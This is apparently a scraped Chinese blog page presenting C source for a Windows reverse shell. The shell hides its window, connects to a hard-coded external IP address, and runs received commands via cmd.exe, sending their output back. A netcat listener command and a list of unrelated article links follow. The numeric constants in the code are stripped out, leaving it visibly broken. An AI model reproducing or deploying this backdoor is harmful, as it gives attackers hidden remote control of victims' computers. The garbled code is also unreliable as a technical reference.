#pragma comment(lib,"ws2_32.lib")

#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#endif #include <winsock2.h>
#include <windows.h> int main(int argc,char **argv)
{
char *messages = "======================== Connect successful !========================\n";
WSADATA WSAData;
SOCKET sock; //创建套接字
SOCKADDR_IN addr_in;
char buf[]; //buf作为socket接收数据的缓冲区
memset(buf,,); //清空缓冲区 WSAStartup(MAKEWORD(,),&WSAData); //初始化ws2 addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(); //反向连接的远端主机端口
addr_in.sin_addr.S_un.S_addr=inet_addr("59.110.167.239"); //远端IP sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); while (WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) //连接客户主机
{
Sleep(); //连接失败,停顿5s,再试
continue;
} send(sock,messages,strlen(messages),); //发送success信息 char buffer[] = {};//管道输出的数据 for(char cmdline[];;memset(cmdline,,sizeof(cmdline))){
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; CreatePipe(&hRead,&hWrite,&sa,); //创建管道 STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si); //STARTUPINFO 结构
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE; //隐藏窗口
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(cmdline,MAX_PATH+); //获得系统路径
strcat(cmdline,"//cmd.exe /c"); //路径+/cmd.exe int len=recv(sock,buf,,NULL);
if(len==SOCKET_ERROR) exit(); //如果客户端断开连接,则自动退出程序 strncat(cmdline,buf,strlen(buf)); //把命令参数复制到cmdline CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi); //创建进程 CloseHandle(hWrite); for(DWORD bytesRead;ReadFile(hRead,buffer,,&bytesRead,NULL); //循环读取管道中数据并发送,直到管道中没有数据为止
memset(buffer,,)){
send(sock,buffer,strlen(buffer),);
} }
return ; }

https://eternallybored.org/misc/netcat/

nc执行命令:nc命令 : -l -v -p [端口]

最新文章

  1. 【转】修改LINUX时间
  2. NSString 处理技巧:分割字符串
  3. ffmpeg转码时对编码率和固定码率的处理
  4. vs2010创建COM以及调用
  5. Object-C在Nil上调用方法
  6. Week13(12月2日):又到了那个点,期末了~~~~
  7. pthread_create多线程执行顺序诡异现象
  8. 通过 UI 管理 docker
  9. 20172328《程序设计与数据结构》实验四 Android程序设计报告
  10. C# 取得上月月头和月尾、上周的第一天和最后一天。
  11. emptyDir与hostPath
  12. CentOS优化
  13. [HNOI2013]比赛 (用Hash实现记忆化搜索)
  14. k8s官方安装版本
  15. 重置delphi Printer对象
  16. Vue 进阶之路(十)
  17. 算法笔记_194:历届试题 翻硬币(Java)
  18. 联系博主 Contact
  19. 【进程线程与同步】5.4 System.Threading.Interlocked 为多个线程共享的变量提供原子操作
  20. iOS 自定义转场动画

热门文章

  1. [VBS]检测计算机各硬件信息
  2. 关于xp操作系统下使用VC6++编写的上位机软件在win10中运行的问题
  3. 2019.01.22 51nod 1203 JZPLCM(线段树+链表)
  4. s4-5 以太网帧
  5. Everything的简单使用
  6. INtellJ IDEA 2017 创建Annotation注解类
  7. spring 事务的传播特性
  8. Java理论学时第五节。课后作业。
  9. eclipse生成可执行jar包(引入第三方.jar文件)
  10. mysql_结构